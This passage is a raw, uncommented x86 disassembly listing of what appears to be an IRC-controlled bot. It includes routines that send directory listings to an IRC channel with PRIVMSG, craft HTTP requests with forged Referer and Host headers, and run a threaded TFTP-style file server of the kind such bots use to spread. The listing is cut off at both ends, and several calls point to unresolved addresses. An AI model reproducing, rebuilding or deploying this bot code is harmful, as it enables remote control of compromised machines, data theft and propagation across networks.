CODE XREF: sub_406387+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40662D sub eax, 0Ch loc_40662D: ; CODE XREF: sub_406387+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4172B0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067D0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066A1 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_406919 ; --------------------------------------------------------------------------- loc_4066A1: ; CODE XREF: sub_406387+2E0j cmp [ebp+arg_C], ebx jz loc_40678B push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406741 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406746 ; --------------------------------------------------------------------------- loc_406741: ; CODE XREF: sub_406387+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406746: ; CODE XREF: sub_406387+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40691A ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406387+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 14h jmp loc_406929 ; --------------------------------------------------------------------------- loc_4067D0: ; CODE XREF: sub_406387+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40680F push ebx push [ebp+var_368] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4067FB: ; CODE XREF: sub_406387+577j lea eax, [ebp+var_248] push eax call sub_41782A add esp, 1Ch jmp loc_406929 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_406387+44Fj cmp [ebp+arg_C], ebx jz loc_406903 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068AF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B4 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_406387+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B4: ; CODE XREF: sub_406387+526j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4067FB ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_406387+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_406919: ; CODE XREF: sub_406387+315j push esi loc_40691A: ; CODE XREF: sub_406387+3FFj lea eax, [ebp+var_248] push eax call sub_41782A add esp, 18h loc_406929: ; CODE XREF: sub_406387+444j ; sub_406387+483j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 cmp [ebp+arg_8], ebx jz short loc_406958 push 7D0h call near ptr 2610F93h nop loc_406958: ; CODE XREF: sub_406387+22Bj ; sub_406387+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 26B0000h test eax, eax jnz loc_4065AC loc_406970: ; CODE XREF: sub_406387+21Aj push [ebp+arg_0] nop call near ptr 26903B3h cmp [ebp+arg_8], ebx jz short loc_4069B3 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4172B0 add esp, 14h jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069B3: ; CODE XREF: sub_406387+5F5j cmp [ebp+arg_C], ebx jz short loc_4069CD lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406387+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4172B0 add esp, 10h loc_4069E7: ; CODE XREF: sub_406387+62Aj ; sub_406387+644j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 pop edi pop esi xor eax, eax pop ebx leave retn sub_406387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 26507E6h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AC5 push esi push ebx call near ptr 2690000h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_406ABE loc_406A52: ; CODE XREF: sub_406A0D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417330 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A6F mov edi, [ebp+arg_4] loc_406A6F: ; CODE XREF: sub_406A0D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 26D0000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 263108Bh push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_406AB9 call dword_43AD2C cmp eax, 2733h jnz short loc_406ABE xor eax, eax loc_406AB9: ; CODE XREF: sub_406A0D+9Bj sub [ebp+arg_4], eax jnz short loc_406A52 loc_406ABE: ; CODE XREF: sub_406A0D+43j ; sub_406A0D+A8j push ebx call near ptr 2631A0Bh nop loc_406AC5: ; CODE XREF: sub_406A0D+30j pop edi pop esi pop ebx leave retn sub_406A0D endp ; =============== S U B R O U T I N E ======================================= sub_406ACA proc near ; CODE XREF: sub_4060D0+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_417AB0 test eax, eax pop ecx jbe short loc_406AF3 loc_406ADD: ; CODE XREF: sub_406ACA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AE7 mov byte ptr [esi+edi], 2Fh loc_406AE7: ; CODE XREF: sub_406ACA+17j push edi inc esi call sub_417AB0 cmp esi, eax pop ecx jb short loc_406ADD loc_406AF3: ; CODE XREF: sub_406ACA+11j mov eax, edi pop edi pop esi retn sub_406ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43AD10 push 6 push 1 push 2 call dword_43AE18 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43AD98 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz short loc_406BD5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B71 mov eax, offset byte_436EDC loc_406B71: ; CODE XREF: sub_406AF8+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43ADE8 push esi lea eax, [ebp+var_110] push edi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43ADB0 pop esi loc_406BD5: ; CODE XREF: sub_406AF8+6Bj push ebx call dword_43AE30 call dword_43ACF8 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4172B0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C15 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_406C15: ; CODE XREF: sub_406AF8+102j pop edi pop ebx leave retn sub_406AF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p ; DATA XREF: sub_407252+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CDC push 190h call near ptr 2610F93h nop call dword_43AD2C push eax lea eax, [ebp+var_780] push offset unk_42AC38 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406CBC: ; CODE XREF: sub_406C19+7Ej lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610356h loc_406CDC: ; CODE XREF: sub_406C19+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4407FC[eax], edi lea eax, [ebp+var_44] push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43AD98 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43ADC4 cmp eax, 0FFFFFFFFh jnz short loc_406D41 push 1388h call near ptr 2610F93h nop dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407104 ; --------------------------------------------------------------------------- loc_406D41: ; CODE XREF: sub_406C19+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DBF push 190h nop call near ptr 2610F93h lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42AC04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 add esp, 28h push ebx nop call near ptr 2610356h loc_406DBF: ; CODE XREF: sub_406C19+140j mov esi, 200h loc_406DC4: ; CODE XREF: sub_406C19+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070C4 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417330 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43AD80 test eax, eax jle loc_4070B8 mov al, byte_436EDC mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43AD70 push [ebp+var_28] mov [ebp+var_C], eax call dword_43AE24 push eax lea eax, [ebp+var_58] push eax call sub_4172B0 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070A2 cmp [ebp+var_D7], 1 jnz loc_406FEE lea eax, [ebp+var_274] push eax call sub_417AB0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_417AB0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418DA0 add esp, 14h test eax, eax jnz loc_406FA8 lea eax, [ebp+var_1C] push eax call sub_417AB0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418DA0 add esp, 10h test eax, eax jnz loc_406FA8 push ebx push ebx push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418A86 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43ADFC lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42ABBC loc_406F5C: ; CODE XREF: sub_406C19+484j lea eax, [ebp+var_780] push eax call sub_4172B0 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F96 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406F96: ; CODE XREF: sub_406C19+358j lea eax, [ebp+var_780] push eax call sub_40BF6D pop ecx jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FA8: ; CODE XREF: sub_406C19+2B6j ; sub_406C19+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42ABA8 push edi call dword_43ADFC lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_42AB74 push eax call sub_4172B0 lea eax, [ebp+var_D8] push eax call sub_40BF6D add esp, 14h jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FEE: ; CODE XREF: sub_406C19+275j cmp [ebp+var_D7], 4 jnz loc_4070A2 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40702B inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_407039 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406C19+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_407039: ; CODE XREF: sub_406C19+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418A86 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax loc_407079: ; DATA XREF: ___:004282F8o ; ___:0042830Co ... lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43ADFC cmp edi, ebx jnz short loc_4070B8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42AB20 jmp loc_406F5C ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_406C19+268j ; sub_406C19+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42AB14 push edi call dword_43ADFC loc_4070B8: ; CODE XREF: sub_406C19+204j ; sub_406C19+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DC4 loc_4070C4: ; CODE XREF: sub_406C19+1B4j push edi call dword_43AE30 push [ebp+var_8] call sub_417900 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070F8 push [ebp+var_170] call sub_417078 pop ecx push ebx call near ptr 2610356h nop loc_4070F8: ; CODE XREF: sub_406C19+4CAj push 3E8h call near ptr 2610F93h nop push esi loc_407104: ; CODE XREF: sub_406C19+123j call sub_406C19 pop edi pop esi pop ebx leave retn 4 sub_406C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42B134 push eax xor ebx, ebx call sub_4172B0 cmp dword_42ACB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40717E push esi mov esi, offset dword_42ACB8 loc_407143: ; CODE XREF: sub_407110+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407143 pop esi loc_40717E: ; CODE XREF: sub_407110+2Bj push dword_4CD5F0 call sub_40B721 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 34h pop edi pop ebx leave retn sub_407110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416FA4 test eax, eax pop ecx jle short loc_407217 mov eax, [ebp+arg_C] push dword_436F18[eax*8] call dword_43AE24 push eax lea eax, [ebp+var_200] push offset unk_42B198 push eax call sub_4172B0 add esp, 0Ch jmp short loc_40722A ; --------------------------------------------------------------------------- loc_407217: ; CODE XREF: sub_4071DB+13j lea eax, [ebp+var_200] push offset unk_42B168 push eax call sub_4172B0 pop ecx pop ecx loc_40722A: ; CODE XREF: sub_4071DB+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 18h leave retn sub_4071DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407252 proc near ; CODE XREF: sub_40797F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075E2 imul eax, 3Ch xor ebx, ebx cmp dword_42ACBC[eax], ebx jz loc_4074C3 push 4 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov eax, dword_42F5AC push edi mov edi, offset dword_438F34 push 104h push edi push ebx mov dword_439144, eax mov dword_439140, ebx nop call near ptr 2660000h push 103h mov esi, offset dword_439038 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_438F30, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4391C8, eax jnz short loc_407305 lea eax, [ebp+arg_10] push eax push offset dword_439148 call sub_418C10 add esp, 0Ch mov dword_4391CC, 1 jmp short loc_40731F ; --------------------------------------------------------------------------- loc_407305: ; CODE XREF: sub_407252+94j lea eax, [ebp+arg_90] push eax push offset dword_439148 call sub_418C10 add esp, 0Ch mov dword_4391CC, ebx loc_40731F: ; CODE XREF: sub_407252+B1j push esi push edi push dword_439144 lea eax, [ebp+var_204] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416D5C add esp, 20h mov dword_43913C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_438F30 push offset sub_406C19 push ebx push ebx nop call near ptr 2680C08h mov ecx, dword_43913C imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_40738E loc_40737C: ; CODE XREF: sub_407252+13Aj cmp dword_4391D0, ebx jnz short loc_4073A9 push 32h nop call near ptr 2610F93h jmp short loc_40737C ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407252+128j nop call near ptr 2650B3Dh push eax lea eax, [ebp+var_204] push offset unk_42B2E8 push eax call sub_4172B0 add esp, 0Ch loc_4073A9: ; CODE XREF: sub_407252+130j lea eax, [ebp+var_204] push eax call sub_40BF6D mov edi, offset dword_43958C mov [esp+210h+var_210], 104h push edi push ebx mov dword_439798, ebx nop call near ptr 2660000h push 103h mov esi, offset dword_439690 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_439588, eax mov eax, [ebp+arg_138] push 7Fh mov dword_439820, eax jnz short loc_407424 lea eax, [ebp+arg_10] push eax push offset dword_4397A0 call sub_418C10 add esp, 0Ch mov dword_439824, 1 jmp short loc_40743E ; --------------------------------------------------------------------------- loc_407424: ; CODE XREF: sub_407252+1B3j lea eax, [ebp+arg_90] push eax push offset dword_4397A0 call sub_418C10 add esp, 0Ch mov dword_439824, ebx loc_40743E: ; CODE XREF: sub_407252+1D0j push esi push edi push dword_43979C lea eax, [ebp+var_204] push offset dword_42B298 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416D5C add esp, 20h mov dword_439794, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439588 push offset sub_4053D5 push ebx push ebx call near ptr 2680C08h nop mov ecx, dword_439794 pop edi imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4074B2 loc_40749C: ; CODE XREF: sub_407252+25Ej cmp dword_439828, ebx jnz loc_4075D5 push 32h nop call near ptr 2610F93h jmp short loc_40749C ; --------------------------------------------------------------------------- loc_4074B2: ; CODE XREF: sub_407252+248j nop call near ptr 2650B3Dh push eax push offset dword_42B258 jmp loc_4075C6 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407252+25j cmp dword_42ACC0[eax], ebx jz loc_4075E2 push 3 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov esi, offset dword_439464 push 104h push esi push ebx nop call near ptr 2660000h push 5Ch push esi call sub_418F10 pop ecx cmp eax, ebx pop ecx jz short loc_407501 mov [eax], bl loc_407501: ; CODE XREF: sub_407252+2ABj mov eax, dword_42F5B0 mov dword_43957C, ebx mov dword_439568, eax lea eax, [ebp+arg_10] push eax push offset dword_4391DC call sub_4172B0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4391D8, eax mov ecx, [ebp+arg_138] push esi push dword_439568 mov dword_439574, ecx mov ecx, [ebp+arg_13C] push eax mov dword_439578, ecx call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416D5C add esp, 20h mov dword_439570, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4391D8 push offset sub_405AF2 push ebx push ebx call near ptr 2680C08h nop mov ecx, dword_439570 imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4075BA loc_4075A8: ; CODE XREF: sub_407252+366j cmp dword_439584, ebx jnz short loc_4075D5 push 32h nop call near ptr 2610F93h jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407252+354j nop call near ptr 2650B3Dh push eax push offset unk_42B1C8 loc_4075C6: ; CODE XREF: sub_407252+26Cj lea eax, [ebp+var_204] push eax call sub_4172B0 add esp, 0Ch loc_4075D5: ; CODE XREF: sub_407252+250j ; sub_407252+35Cj lea eax, [ebp+var_204] push eax call sub_40BF6D pop ecx loc_4075E2: ; CODE XREF: sub_407252+14j ; sub_407252+35j ... pop esi pop ebx leave retn sub_407252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:436F18h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417390 add esp, 0Ch push [ebp+arg_0] call dword_43ACCC inc eax push eax mov [ebp+arg_0], eax call dword_43AD94 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417390 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_407767+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword 